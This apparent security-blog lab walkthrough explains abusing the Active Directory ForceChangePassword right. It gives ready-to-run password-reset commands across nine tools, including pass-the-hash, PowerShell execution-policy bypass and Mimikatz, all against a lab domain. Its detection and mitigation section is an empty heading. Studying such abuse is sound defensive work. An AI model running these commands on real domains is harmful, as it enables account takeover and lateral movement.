Abusing AD-DACL: ForceChangePassword
In this post, we explore ForceChangePassword Active Directory abuse via the exploitation of Discretionary Access Control Lists (DACL) using the ForcePasswordChange permission in Active Directory environments. This permission is especially dangerous for privileged accounts, as it enables lateral movement and unauthorized access across systems by impersonating the compromised account. Therefore, understanding how this vulnerability works is crucial for security professionals.
Additionally, the lab setup necessary to simulate these attacks is outlined, with methods mapped to the MITRE ATT&CK framework to clarify the associated techniques and tactics. Detection mechanisms for identifying suspicious activities linked to ForcePasswordChange attacks are also covered. Alongside this, actionable recommendations for mitigating these vulnerabilities are provided. As a result, this overview equips security professionals with critical insights to recognize and defend against these prevalent threats.
Table of Contents
- ForceChangePassword Right
- Prerequisites
- Lab Setup – User Owns ForceChangePassword Rights
- Exploitation – User Owns ForceChangePassword Rights
- Bloodhound – Hunting for Weak Permission
Method for Exploitation – Change Password (T1110.001)
- Net RPC – Samba
- pth-toolkit
- Net RPC – Rpcclient
- Net RPC – BloodAD
- ldap_shell tool
- impacket-changepasswd
- Windows PowerShell – Powerview
- Mimikatz
- Metasploit
Detection & Mitigation
ForceChangePassword Right
This permission grants the right to change the password of a user account without knowing their current password. Consequently, attackers can use this access to perform unauthorized actions.
Moreover, this abuse can be carried out when controlling an object that has GenericAll, AllExtendedRights, or User-Force-Change-Password over the target user.
Prerequisites
- Windows Server 2019 as Active Directory
- Kali Linux
- Tools: Bloodhound, Net RPC, Powerview, BloodyAD
- Windows 10/11 – As Client
Lab Setup – User Owns ForceChangePassword Rights
To begin with, in this lab setup, we will create two users’ Raj and Aarti, and will assign Raj user “Reset Password” rights for Aarti User. To clarify, here’s how the lab environment will be set up:
Create the AD Environment:
To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools. Subsequently, you will be ready to test the ForceChangePassword Active Directory Abuse in a controlled setting.
- Domain Controller:
- Firstly, Install Windows Server (2016 or 2019 recommended).
- Then, promote it to a Domain Controller by adding the Active Directory Domain Services role.
- Finally, set up the domain (e.g., ignite.local).
- User Accounts:
- Create two AD user accounts named Raj and Aarti.
net user raj Password@1 /add /domain net user aarti Password@1 /add /domain
Assign the “ForceChangePassword” Privilege to Raj for Aarti User:
Once your AD environment is set up, you need to assign the “ForceChangePassword” rights to Raj for Aarti user.
Steps:
- First, open Active Directory Users and Computers (ADUC) on the Domain Controller.
- Enable the Advanced Features view by clicking on View > Advanced Features.
- Locate User Aarti in the Users container.
- Right-click on Aarti User and go to Properties.
- Go to the Security tab. And click on Add button
- In the “Enter the object name to select” box, type Raj and click Check Names.
- Next, in the Permissions section, check the box for Reset Password permission.
Apply the settings.
At this point, Raj now has Reset Password rights for Aarti user, meaning Raj can change the password of Aarti user’s account without knowing their current password.
Alternate method of lab setup with Impacket
Alternatively, lab setup can be done with the help of impacket’s dacledit script
impacket-dacledit -action 'write' -rights 'ResetPassword' -principal 'raj' -target-dn 'CN=aarti,CN=Users,DC=ignite,DC=local' 'ignite.local'/'administrator':'Ignite@987' -dc-ip 192.168.1.48
Exploitation
Bloodhound – Hunting for Weak Permission
Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Raj has the ForceChangePassword rights for Aarti user.
bloodhound-python -u raj -p Password@1 -ns 192.168.1.48 -d ignite.local -c All
From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.
Thus, it has shown that Raj User has ForceChangePassword privilege for Aarti user.
Method for Exploitation – Change Password (T1110.001)
The tester can abuse this permission by changing password for Aarti user without knowing their current password.
Net RPC – Samba
Initially, attackers can use net
, a tool for the administration of Samba and CIFS/SMB clients, on UNIX-like systems to change user passwords.
net rpc password aarti 'Password@987' -U ignite.local/raj%'Password@1' -S 192.168.1.48
pth-toolkit
Additionally, attackers can leverage the pth-toolkit
to run Net RPC commands using Pass-the-Hash (PtH).
pth-net rpc password "aarti" -U ignite.local/"raj"%"64FBAE31CC352FC26AF97CBDEF151E03:"BD0F21ED526A885B378895679A412387" -S 192.168.1.48
Net RPC – Rpcclient
Alternatively, attackers can use rpcclient
on UNIX-like systems when the samba-common-bin
package is missing.
rpcclient -U ignite.local/raj 192.168.1.48 setuserinfo aarti 23 Password@987
Bloody AD
Furthermore, attackers can perform password changes using bloodyAD.
bloodyAD --host "192.168.1.48" -d "ignite.local" -u "raj" -p "Password@1" set password "aarti" "Password@987"
ldap_shell tool
In another case, attackers can utilize ldap_shell
to change passwords over LDAP.
ldap_shell ignite.local/raj:Password@1 -dc-ip 192.168.1.48 change_password aarti Password@987
impacket-changepasswd
Finally, attackers can use smbpasswd
from Impacket to change a user’s password over the SMB protocol without knowing the current password.
impacket-changepasswd ignite.local/aarti@192.168.1.48 -newpass Password@1234 -altuser ignite.local/raj -altpass Password@1 -reset
Windows
PowerShell – Powerview
The attacker can change the password of the user using PowerView module. This can be achieved with Set-DomainUserPassword cmdlet.
powershell -ep bypass Import-Module .\PowerView.ps1 $NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword
Mimikatz
Mimikatz can directly set a new NTLM hash for a user’s account without requiring the current password.
lsadump::setntlm /server:ignite.local /user:aarti /password:Password@9876
Metasploit
This module allows Active Directory users to change their own passwords, or reset passwords for accounts they have privileges over.
use auxiliary/admin/ldap/change_password set rhosts 192.168.1.48 set domain ignite.local set username raj set password Password@1 set target_user aarti set new_password Password@7654 run
In conclusion, understanding and mitigating ForceChangePassword Active Directory Abuse is essential to protect privileged accounts from unauthorized access and lateral movement.
Detection and Mitigation
Author: Pradnya Pawar is an InfoSec researcher and Security Tech Lead. Contact here